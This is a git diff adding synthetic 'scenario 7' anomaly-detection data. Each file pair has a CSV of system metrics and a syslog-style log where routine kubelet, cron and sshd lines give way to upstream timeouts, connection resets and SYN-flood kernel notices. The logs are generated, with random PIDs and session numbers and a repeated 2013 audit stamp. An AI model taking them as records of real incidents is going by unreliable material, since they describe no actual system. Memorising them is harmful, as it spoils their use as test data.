a/anom_dataset/scenario_7/anom_7_19.csv b/anom_dataset/scenario_7/anom_7_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..a7d316b0fa420421339eb8f4455791281cb9b43c --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-16T14:30:00Z,14.29,37.39,25.97,0.96,2.02 +2025-07-16T14:30:05Z,17.19,38.25,34.15,0.95,1.36 +2025-07-16T14:30:10Z,14.39,41.92,22.92,1.15,1.67 +2025-07-16T14:30:15Z,18.45,45.45,23.11,1.1,1.35 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+2025-07-16T14:37:00Z,17.34,42.14,20.92,0.96,1.68 +2025-07-16T14:37:05Z,12.06,43.16,25.33,1.22,1.63 +2025-07-16T14:37:10Z,15.65,42.91,21.62,1.13,1.0 +2025-07-16T14:37:15Z,14.13,40.26,19.03,0.42,1.61 +2025-07-16T14:37:20Z,15.61,38.59,20.39,0.94,1.26 +2025-07-16T14:37:25Z,16.84,38.65,26.41,0.73,1.12 diff --git a/anom_dataset/scenario_7/anom_7_19.log b/anom_dataset/scenario_7/anom_7_19.log new file mode 100644 index 0000000000000000000000000000000000000000..5f2d236f9bd9daa7823d257d99947600350b9398 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_19.log @@ -0,0 +1,35 @@ +Jul 16 14:30:25 sshd[10803]: Accepted publickey for user from 10.1.22.118 port 52111 ssh2 +Jul 16 14:30:30 kubelet[16004]: INFO Liveness probe succeeded for pod web-app-clone +Jul 16 14:30:35 systemd[1]: Started Session 12 of user root. +Jul 16 14:30:40 kubelet[11885]: INFO Liveness probe succeeded for pod web-app-clone +Jul 16 14:30:50 nginx[23073]: GET /api/v1/health HTTP/1.1 200 OK +Jul 16 14:31:15 kubelet[9437]: INFO Liveness probe succeeded for pod web-app-clone +Jul 16 14:31:20 CRON[23407]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 16 14:31:25 nginx[1777]: GET /api/v1/health HTTP/1.1 200 OK +Jul 16 14:31:30 sshd[22929]: Accepted publickey for user from 10.1.62.201 port 14445 ssh2 +Jul 16 14:31:50 CRON[8857]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 16 14:32:15 kernel: [ 12161.000001] audit: type=1400 audit(1364481490.504:32): apparmor="ALLOWED" operation="open" +Jul 16 14:32:30 app-server[10296]: WARN: Read timeout while waiting for response from database +Jul 16 14:32:45 kernel: [ 12198.123456] TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 16 14:32:50 kernel: [ 12202.123456] TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 16 14:33:00 app-server[18857]: ERROR: Connection reset by peer while reading from socket +Jul 16 14:33:10 nginx[23890]: upstream timed out (110: Connection timed out) while connecting to upstream +Jul 16 14:33:25 kernel: [ 12241.123456] TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 16 14:34:10 nginx[20162]: upstream timed out (110: Connection timed out) while connecting to upstream +Jul 16 14:34:20 kubelet[11119]: INFO Successfully probed container metrics-collector +Jul 16 14:34:50 kernel: [ 12326.123456] TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 16 14:35:00 kernel: [ 12339.000001] audit: type=1400 audit(1364481490.504:32): apparmor="ALLOWED" operation="open" +Jul 16 14:35:25 CRON[15097]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 16 14:35:30 kubelet[19828]: INFO Successfully probed container metrics-collector +Jul 16 14:35:35 kubelet[12608]: INFO Liveness probe succeeded for pod web-app-clone +Jul 16 14:35:40 systemd[1]: Started Session 46 of user root. +Jul 16 14:35:45 systemd[1]: Started Session 11 of user root. +Jul 16 14:35:50 kernel: [ 12391.000001] audit: type=1400 audit(1364481490.504:32): apparmor="ALLOWED" operation="open" +Jul 16 14:36:05 CRON[3163]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 16 14:36:20 kubelet[4501]: INFO Successfully probed container metrics-collector +Jul 16 14:36:30 sshd[13509]: Accepted publickey for user from 10.1.81.115 port 48873 ssh2 +Jul 16 14:36:50 CRON[17726]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 16 14:37:00 kubelet[6811]: INFO Liveness probe succeeded for pod web-app-clone +Jul 16 14:37:05 kubelet[19273]: INFO Liveness probe succeeded for pod web-app-clone +Jul 16 14:37:10 nginx[8501]: GET /api/v1/health HTTP/1.1 200 OK +Jul 16 14:37:20 systemd[1]: Started Session 32 of user root. diff --git a/anom_dataset/scenario_7/anom_7_2.csv b/anom_dataset/scenario_7/anom_7_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..796d44192ffa27f758af4fed5d6bb0f585d6735b --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,12.86,40.4,28.58,1.94,1.88 +2025-07-02T12:00:05Z,12.28,37.53,28.81,2.1,1.61 +2025-07-02T12:00:10Z,18.11,38.58,21.51,1.6,1.39 +2025-07-02T12:00:15Z,13.8,38.6,29.36,2.12,1.38 +2025-07-02T12:00:20Z,15.12,38.93,23.19,1.41,1.49 +2025-07-02T12:00:25Z,14.07,34.15,22.48,2.0,1.42 +2025-07-02T12:00:30Z,11.72,42.39,27.17,1.68,1.62 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+2025-07-02T12:07:15Z,19.4,68.86,21.89,1.47,1.11 +2025-07-02T12:07:20Z,17.62,67.47,22.85,1.87,1.52 +2025-07-02T12:07:25Z,18.46,70.87,25.88,1.62,1.33 diff --git a/anom_dataset/scenario_7/anom_7_2.log b/anom_dataset/scenario_7/anom_7_2.log new file mode 100644 index 0000000000000000000000000000000000000000..c2f6c8cc69a22b268b5792b17c0bb500347a1de8 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_2.log @@ -0,0 +1,52 @@ +Jul 02 12:00:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:00:00 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 12:00:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 12:00:30 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 12:00:50 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 12:01:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 12:01:05 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:01:30 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 12:01:40 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 12:02:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 12:02:10 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:02:30 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 12:02:30 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 12:02:45 user-db-connector[8876]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.111.210 +Jul 02 12:02:50 payment-svc[5050]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection timeout, remote ip: 185.199.111.116 +Jul 02 12:03:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 12:03:05 payment-svc[5050]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.111.186 +Jul 02 12:03:15 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.109.138 +Jul 02 12:03:15 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:03:20 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 12:03:20 user-db-connector[8876]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer, remote ip: 185.199.108.210 +Jul 02 12:03:25 payment-svc[5050]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.110.19 +Jul 02 12:03:30 payment-svc[5050]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection timeout, remote ip: 185.199.110.245 +Jul 02 12:03:30 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 12:03:40 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.110.13 +Jul 02 12:03:45 user-db-connector[8876]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection timeout, remote ip: 185.199.110.219 +Jul 02 12:04:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 12:04:10 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.109.102 +Jul 02 12:04:10 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 12:04:20 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection timeout, remote ip: 185.199.109.37 +Jul 02 12:04:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:04:25 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.111.223 +Jul 02 12:04:30 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 12:04:35 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.111.110 +Jul 02 12:04:50 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.109.54 +Jul 02 12:05:00 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 12:05:00 user-db-connector[8876]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer, remote ip: 185.199.109.37 +Jul 02 12:05:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 12:05:10 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer, remote ip: 185.199.111.59 +Jul 02 12:05:15 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer, remote ip: 185.199.111.90 +Jul 02 12:05:20 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer, remote ip: 185.199.108.216 +Jul 02 12:05:25 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:05:30 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 12:05:35 payment-svc[5050]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.108.161 +Jul 02 12:05:40 user-db-connector[8876]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer, remote ip: 185.199.109.69 +Jul 02 12:05:50 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 12:05:55 payment-svc[5050]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.110.144 +Jul 02 12:06:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 12:06:30 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 12:06:30 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 12:06:40 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 12:07:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 diff --git a/anom_dataset/scenario_7/anom_7_20.csv b/anom_dataset/scenario_7/anom_7_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..7e3503cf35a7e40084e9e13acb7835e431763c1b --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,23.41,42.67,25.82,2.13,2.18 +2025-07-15T14:00:05Z,18.89,45.26,21.26,1.82,1.98 +2025-07-15T14:00:10Z,22.29,41.86,33.37,2.13,2.03 +2025-07-15T14:00:15Z,19.59,41.99,30.89,1.97,1.61 +2025-07-15T14:00:20Z,21.46,45.22,33.09,2.25,2.13 +2025-07-15T14:00:25Z,23.56,39.57,26.7,2.36,1.92 +2025-07-15T14:00:30Z,24.43,44.35,30.24,2.36,1.51 +2025-07-15T14:00:35Z,18.97,39.69,30.58,2.21,2.11 +2025-07-15T14:00:40Z,24.35,42.28,23.86,2.36,2.07 +2025-07-15T14:00:45Z,20.12,41.53,31.46,1.83,1.92 +2025-07-15T14:00:50Z,23.06,41.49,25.07,2.38,1.58 +2025-07-15T14:00:55Z,24.98,43.19,29.44,2.4,1.76 +2025-07-15T14:01:00Z,17.88,42.73,21.9,2.27,1.68 +2025-07-15T14:01:05Z,22.59,40.21,31.64,2.29,2.02 +2025-07-15T14:01:10Z,18.1,41.59,33.13,2.02,1.97 +2025-07-15T14:01:15Z,18.58,41.94,29.36,2.3,1.96 +2025-07-15T14:01:20Z,15.14,41.66,24.32,2.09,1.89 +2025-07-15T14:01:25Z,20.47,41.91,22.77,2.08,1.95 +2025-07-15T14:01:30Z,20.27,44.76,30.29,2.35,1.84 +2025-07-15T14:01:35Z,22.09,43.08,28.48,1.94,1.68 +2025-07-15T14:01:40Z,20.24,41.84,24.47,2.25,1.62 +2025-07-15T14:01:45Z,16.5,41.68,34.5,2.38,1.96 +2025-07-15T14:01:50Z,23.38,44.16,28.6,1.83,2.05 +2025-07-15T14:01:55Z,15.88,41.21,20.04,2.04,1.51 +2025-07-15T14:02:00Z,18.65,41.76,34.94,2.42,1.58 +2025-07-15T14:02:05Z,24.36,40.88,34.34,2.45,2.12 +2025-07-15T14:02:10Z,23.13,38.95,22.38,2.04,1.77 +2025-07-15T14:02:15Z,20.13,45.64,27.68,2.43,1.94 +2025-07-15T14:02:20Z,16.58,39.56,27.17,2.14,1.75 +2025-07-15T14:02:25Z,20.86,40.97,31.28,2.03,1.6 +2025-07-15T14:02:30Z,23.28,45.52,23.65,0.79,0.33 +2025-07-15T14:02:35Z,20.71,47.64,21.08,0.87,0.49 +2025-07-15T14:02:40Z,26.47,45.64,28.91,0.88,0.6 +2025-07-15T14:02:45Z,29.5,48.21,22.54,0.94,0.48 +2025-07-15T14:02:50Z,21.5,45.79,26.74,0.22,0.64 +2025-07-15T14:02:55Z,22.05,47.32,32.48,0.94,0.69 +2025-07-15T14:03:00Z,21.77,49.78,30.35,0.25,0.3 +2025-07-15T14:03:05Z,25.51,47.48,23.3,0.75,0.56 +2025-07-15T14:03:10Z,22.74,46.57,25.81,0.25,0.69 +2025-07-15T14:03:15Z,21.94,48.6,29.64,0.23,0.13 +2025-07-15T14:03:20Z,21.73,48.08,28.19,0.59,0.45 +2025-07-15T14:03:25Z,27.77,50.41,21.94,0.85,0.35 +2025-07-15T14:03:30Z,21.85,48.0,30.8,0.31,0.12 +2025-07-15T14:03:35Z,20.58,49.66,24.38,0.94,0.68 +2025-07-15T14:03:40Z,27.76,53.14,23.77,0.76,0.16 +2025-07-15T14:03:45Z,26.87,48.45,22.07,0.27,0.66 +2025-07-15T14:03:50Z,25.34,53.33,30.91,0.77,0.47 +2025-07-15T14:03:55Z,28.93,53.15,25.14,0.84,0.33 +2025-07-15T14:04:00Z,21.88,53.52,21.36,0.66,0.21 +2025-07-15T14:04:05Z,21.76,53.9,31.51,0.95,0.45 +2025-07-15T14:04:10Z,27.13,51.68,26.78,0.78,0.64 +2025-07-15T14:04:15Z,25.23,54.6,33.93,0.94,0.27 +2025-07-15T14:04:20Z,38.71,53.23,32.58,0.78,0.27 +2025-07-15T14:04:25Z,36.5,54.65,28.1,0.91,0.71 +2025-07-15T14:04:30Z,38.58,55.53,21.96,0.71,0.61 +2025-07-15T14:04:35Z,39.9,55.99,34.58,0.29,0.2 +2025-07-15T14:04:40Z,42.48,56.97,34.83,0.98,0.66 +2025-07-15T14:04:45Z,41.19,58.55,29.21,0.43,0.36 +2025-07-15T14:04:50Z,38.33,56.09,31.6,0.68,0.78 +2025-07-15T14:04:55Z,42.99,59.11,22.19,0.5,0.15 +2025-07-15T14:05:00Z,41.2,57.82,27.53,0.47,0.47 +2025-07-15T14:05:05Z,41.17,57.82,23.36,0.6,0.43 +2025-07-15T14:05:10Z,42.88,60.95,34.52,0.31,0.63 +2025-07-15T14:05:15Z,41.93,61.76,21.05,0.41,0.21 +2025-07-15T14:05:20Z,39.36,58.6,34.73,0.42,0.15 +2025-07-15T14:05:25Z,41.9,62.38,28.01,0.93,0.66 +2025-07-15T14:05:30Z,39.06,60.9,21.18,0.76,0.25 +2025-07-15T14:05:35Z,44.18,61.28,20.01,0.85,0.67 +2025-07-15T14:05:40Z,35.84,62.86,20.61,0.45,0.8 +2025-07-15T14:05:45Z,44.7,63.85,23.43,0.43,0.44 +2025-07-15T14:05:50Z,21.9,63.15,25.19,0.59,0.45 +2025-07-15T14:05:55Z,21.58,62.37,29.24,0.45,0.64 +2025-07-15T14:06:00Z,24.68,63.2,21.82,0.59,0.16 +2025-07-15T14:06:05Z,24.27,64.8,21.76,0.65,0.68 +2025-07-15T14:06:10Z,26.38,63.04,22.94,0.59,0.64 +2025-07-15T14:06:15Z,18.6,65.0,26.51,2.18,1.92 +2025-07-15T14:06:20Z,19.62,63.36,26.66,2.35,1.5 +2025-07-15T14:06:25Z,18.18,61.71,30.73,1.91,2.13 +2025-07-15T14:06:30Z,18.15,60.07,23.18,2.03,1.68 +2025-07-15T14:06:35Z,20.19,58.43,32.31,2.02,2.17 +2025-07-15T14:06:40Z,22.62,56.79,27.32,2.46,1.91 +2025-07-15T14:06:45Z,20.56,55.14,23.84,2.26,1.72 +2025-07-15T14:06:50Z,18.09,53.5,31.88,1.89,1.92 +2025-07-15T14:06:55Z,23.56,51.86,29.19,1.95,1.95 +2025-07-15T14:07:00Z,19.29,50.21,34.17,2.29,1.89 +2025-07-15T14:07:05Z,23.72,48.57,22.34,2.32,1.95 +2025-07-15T14:07:10Z,16.52,46.93,24.07,2.33,1.86 +2025-07-15T14:07:15Z,19.48,45.29,27.99,2.02,1.79 +2025-07-15T14:07:20Z,20.11,43.64,21.17,2.39,1.78 +2025-07-15T14:07:25Z,17.01,42.0,28.08,2.35,1.83 diff --git a/anom_dataset/scenario_7/anom_7_20.log b/anom_dataset/scenario_7/anom_7_20.log new file mode 100644 index 0000000000000000000000000000000000000000..771b55abe73d5909bf33a8cb070365bbf542802a --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_20.log @@ -0,0 +1,69 @@ +Jul 15 14:00:00 app-server[22693]: INFO: User 'alex' successfully authenticated. +Jul 15 14:00:00 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 15 14:00:20 app-server[6465]: INFO: Processing request ID: 7636-7211 +Jul 15 14:00:30 app-server[23480]: INFO: Processing request ID: 3075-7746 +Jul 15 14:00:40 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 15 14:01:00 cron[2053]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:01:00 systemd[1]: Started Session 168 of user webadmin. +Jul 15 14:01:20 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 15 14:01:30 app-server[5660]: INFO: Processing request ID: 1237-7878 +Jul 15 14:01:40 cron[3916]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:02:00 kubelet[6075]: INFO Successfully probed container metrics-collector +Jul 15 14:02:00 nginx[6075]: GET /api/v1/health HTTP/1.1 200 OK +Jul 15 14:02:20 kubelet[4343]: INFO Successfully probed container metrics-collector +Jul 15 14:02:30 app-server[16830]: ERROR: Connection timeout on request to payment-service +Jul 15 14:02:35 haproxy[12619]: Connection reset by peer, session state L7_WAIT_MORE_RSP +Jul 15 14:02:40 kubelet[5656]: INFO Successfully probed container metrics-collector +Jul 15 14:02:40 app-server[5656]: ERROR: Could not establish connection to redis-cluster: Connection timed out +Jul 15 14:02:45 app-server[11360]: WARN: High latency detected for downstream service 'user-database' +Jul 15 14:02:50 haproxy[1155]: Connection reset by peer, session state L7_WAIT_MORE_RSP +Jul 15 14:02:55 app-server[19880]: ERROR: Downstream service 'inventory-api' unreachable, reason: timeout +Jul 15 14:03:00 sshd[19434]: Accepted publickey for webadmin from 10.0.1.5 port 43262 ssh2 +Jul 15 14:03:00 app-server[19434]: ERROR: Downstream service 'inventory-api' unreachable, reason: timeout +Jul 15 14:03:05 kernel: net_ratelimit: 57 callbacks suppressed +Jul 15 14:03:15 app-server[17037]: ERROR: Downstream service 'inventory-api' unreachable, reason: timeout +Jul 15 14:03:20 cron[10879]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:03:20 app-server[10879]: ERROR: Connection timeout on request to payment-service +Jul 15 14:03:30 app-server[23823]: ERROR: Connection timeout on request to payment-service +Jul 15 14:03:35 kernel: net_ratelimit: 57 callbacks suppressed +Jul 15 14:03:40 kubelet[5891]: INFO Successfully probed container metrics-collector +Jul 15 14:03:40 kernel: net_ratelimit: 57 callbacks suppressed +Jul 15 14:03:45 haproxy[11036]: Connection reset by peer, session state L7_WAIT_MORE_RSP +Jul 15 14:03:50 kernel: net_ratelimit: 57 callbacks suppressed +Jul 15 14:03:55 kernel: net_ratelimit: 57 callbacks suppressed +Jul 15 14:04:00 kernel: TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Jul 15 14:04:05 app-server[7718]: ERROR: Could not establish connection to redis-cluster: Connection timed out +Jul 15 14:04:10 app-server[12483]: ERROR: Read timeout while waiting for response from cache-service +Jul 15 14:04:20 cron[23148]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:04:25 app-server[1718]: ERROR: Could not establish connection to redis-cluster: Connection timed out +Jul 15 14:04:30 app-server[13029]: ERROR: Read timeout while waiting for response from cache-service +Jul 15 14:04:35 app-server[9882]: ERROR: Read timeout while waiting for response from cache-service +Jul 15 14:04:40 kubelet[12861]: INFO Successfully probed container metrics-collector +Jul 15 14:04:40 app-server[12861]: ERROR: Could not establish connection to redis-cluster: Connection timed out +Jul 15 14:04:45 app-server[9685]: ERROR: Downstream service 'inventory-api' unreachable, reason: timeout +Jul 15 14:04:50 app-server[4140]: ERROR: Downstream service 'inventory-api' unreachable, reason: timeout +Jul 15 14:04:55 app-server[23582]: ERROR: Read timeout while waiting for response from cache-service +Jul 15 14:05:00 app-server[9997]: INFO: User 'alex' successfully authenticated. +Jul 15 14:05:00 app-server[9997]: ERROR: Downstream service 'inventory-api' unreachable, reason: timeout +Jul 15 14:05:05 haproxy[14684]: Connection reset by peer, session state L7_WAIT_MORE_RSP +Jul 15 14:05:10 app-server[22267]: ERROR: Could not establish connection to redis-cluster: Connection timed out +Jul 15 14:05:15 app-server[12681]: ERROR: Read timeout while waiting for response from cache-service +Jul 15 14:05:20 app-server[24327]: INFO: User 'alex' successfully authenticated. +Jul 15 14:05:20 app-server[24327]: ERROR: Read timeout while waiting for response from cache-service +Jul 15 14:05:25 app-server[3964]: ERROR: Connection timeout on request to payment-service +Jul 15 14:05:35 app-server[14308]: ERROR: Connection timeout on request to payment-service +Jul 15 14:05:40 systemd[1]: Started Session 101 of user webadmin. +Jul 15 14:05:45 kernel: net_ratelimit: 57 callbacks suppressed +Jul 15 14:05:50 kernel: net_ratelimit: 57 callbacks suppressed +Jul 15 14:05:55 app-server[7059]: ERROR: Read timeout while waiting for response from cache-service +Jul 15 14:06:00 nginx[16868]: GET /api/v1/health HTTP/1.1 200 OK +Jul 15 14:06:00 app-server[16868]: ERROR: Downstream service 'inventory-api' unreachable, reason: timeout +Jul 15 14:06:05 kernel: net_ratelimit: 57 callbacks suppressed +Jul 15 14:06:10 app-server[11258]: ERROR: Read timeout while waiting for response from cache-service +Jul 15 14:06:15 app-server[18503]: INFO: Connection to payment-service re-established. +Jul 15 14:06:20 systemd[1]: Started Session 159 of user webadmin. +Jul 15 14:06:40 sshd[19706]: Accepted publickey for webadmin from 10.0.1.5 port 27550 ssh2 +Jul 15 14:06:40 app-server[19706]: INFO: Connection to payment-service re-established. +Jul 15 14:07:00 cron[16761]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:07:05 app-server[9233]: INFO: Connection to payment-service re-established. +Jul 15 14:07:20 sshd[11520]: Accepted publickey for webadmin from 10.0.1.5 port 10502 ssh2 diff --git a/anom_dataset/scenario_7/anom_7_21.csv b/anom_dataset/scenario_7/anom_7_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..1244f1f7659aee89bb1a5fd9c3e8f363c8f5f87f --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,22.722953306216628,41.04147818415211,26.901732993250242,1.433906524046121,1.4575173532260737 +2025-07-15T14:00:05Z,19.999377737009148,37.86403278629308,20.061789566083892,0.8865694364573378,1.580788054726504 +2025-07-15T14:00:10Z,19.425831867112727,38.64128878095899,24.71792112784658,1.4242641401148992,1.3700078588484 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+2025-07-15T14:06:55Z,24.685407687889228,42.8429211660843,21.42398002016585,1.3861794244893122,1.156919467428411 +2025-07-15T14:07:00Z,22.433981432618253,43.85245093195678,28.512261984654216,0.9636062996931871,1.0911015806237492 +2025-07-15T14:07:05Z,18.54834576517694,35.24832273603607,24.60383309939968,1.0110543334964455,1.0336592540632035 +2025-07-15T14:07:10Z,15.128266033291984,42.00453561503884,25.668691171562553,1.3536836920394433,1.26239319226583 +2025-07-15T14:07:15Z,21.5039848947357,44.429094523195424,20.66387056058203,1.278448147466913,1.6455643322979052 +2025-07-15T14:07:20Z,20.414500851568764,40.90259323497242,20.538625425166742,1.176264670124691,1.635016537222052 +2025-07-15T14:07:25Z,20.594609420343186,35.887827335100134,20.668485519102376,1.056368609476235,1.4365713341595188 diff --git a/anom_dataset/scenario_7/anom_7_21.log b/anom_dataset/scenario_7/anom_7_21.log new file mode 100644 index 0000000000000000000000000000000000000000..0601f088970286e1a302db57c8ab7859a26ce946 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_21.log @@ -0,0 +1,59 @@ +Jul 15 14:00:05 kubelet[10899]: INFO routine sync completed for pod web-app-clone +Jul 15 14:00:10 sshd[15929]: Accepted publickey for ubuntu from 192.168.1.105 port 15234 ssh2 +Jul 15 14:00:15 systemd[1]: Started Session 74 of user ubuntu. +Jul 15 14:00:25 kubelet[15461]: INFO Successfully probed container metrics-collector +Jul 15 14:00:35 kubelet[7138]: INFO Successfully probed container metrics-collector +Jul 15 14:00:40 sshd[8704]: Accepted publickey for ubuntu from 192.168.1.105 port 21419 ssh2 +Jul 15 14:00:50 sshd[10509]: Accepted publickey for ubuntu from 192.168.1.105 port 40621 ssh2 +Jul 15 14:00:55 cron[7855]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:01:00 kubelet[6908]: INFO Successfully probed container metrics-collector +Jul 15 14:01:05 kubelet[10104]: INFO routine sync completed for pod web-app-clone +Jul 15 14:01:15 kubelet[2464]: INFO Successfully probed container metrics-collector +Jul 15 14:01:25 kubelet[18346]: INFO Successfully probed container metrics-collector +Jul 15 14:01:30 systemd[1]: Started Session 30 of user ubuntu. +Jul 15 14:01:40 sshd[8500]: Accepted publickey for ubuntu from 192.168.1.105 port 59693 ssh2 +Jul 15 14:01:50 cron[7286]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:01:55 cron[12612]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:02:00 nginx[3533]: GET /api/v1/healthz HTTP/1.1 200 OK +Jul 15 14:02:10 nginx[14202]: GET /api/v1/healthz HTTP/1.1 200 OK +Jul 15 14:02:25 kubelet[1874]: INFO routine sync completed for pod web-app-clone +Jul 15 14:02:30 systemd[1]: Started Session 83 of user ubuntu. +Jul 15 14:02:40 app-worker[7124]: Failed to publish message to RabbitMQ: socket write error +Jul 15 14:02:55 app-worker[19517]: Failed to publish message to RabbitMQ: socket write error +Jul 15 14:03:05 haproxy[17712]: Connect to backend 'api-backend' failed: Connection reset by peer +Jul 15 14:03:15 kubelet[11353]: INFO routine sync completed for pod web-app-clone +Jul 15 14:03:20 app-server[4555]: WARN upstream service 'user-auth' not responding, retrying...: Read timeout +Jul 15 14:03:35 systemd[1]: Started Session 60 of user ubuntu. +Jul 15 14:03:40 haproxy[13748]: Connect to backend 'api-backend' failed: Connection reset by peer +Jul 15 14:03:45 app-server[12716]: ERROR Connection to database at 10.0.1.23:5432 failed: Connection timed out +Jul 15 14:04:00 haproxy[17461]: Connect to backend 'api-backend' failed: Connection reset by peer +Jul 15 14:04:10 app-server[4947]: ERROR Connection to database at 10.0.1.23:5432 failed: Connection timed out +Jul 15 14:04:15 app-server[16391]: ERROR Connection to database at 10.0.1.23:5432 failed: Connection timed out +Jul 15 14:04:20 kubelet[3656]: INFO Successfully probed container metrics-collector +Jul 15 14:04:25 nginx[14138]: GET /api/v1/healthz HTTP/1.1 200 OK +Jul 15 14:04:30 haproxy[14710]: Connect to backend 'api-backend' failed: Connection reset by peer +Jul 15 14:04:35 app-server[13974]: WARN upstream service 'user-auth' not responding, retrying...: Read timeout +Jul 15 14:04:50 app-server[17280]: ERROR Connection to database at 10.0.1.23:5432 failed: Connection timed out +Jul 15 14:04:55 systemd[1]: Started Session 56 of user ubuntu. +Jul 15 14:05:00 systemd[1]: Started Session 92 of user ubuntu. +Jul 15 14:05:05 sshd[3347]: Accepted publickey for ubuntu from 192.168.1.105 port 41500 ssh2 +Jul 15 14:05:10 systemd[1]: Started Session 68 of user ubuntu. +Jul 15 14:05:15 cron[2549]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 14:05:25 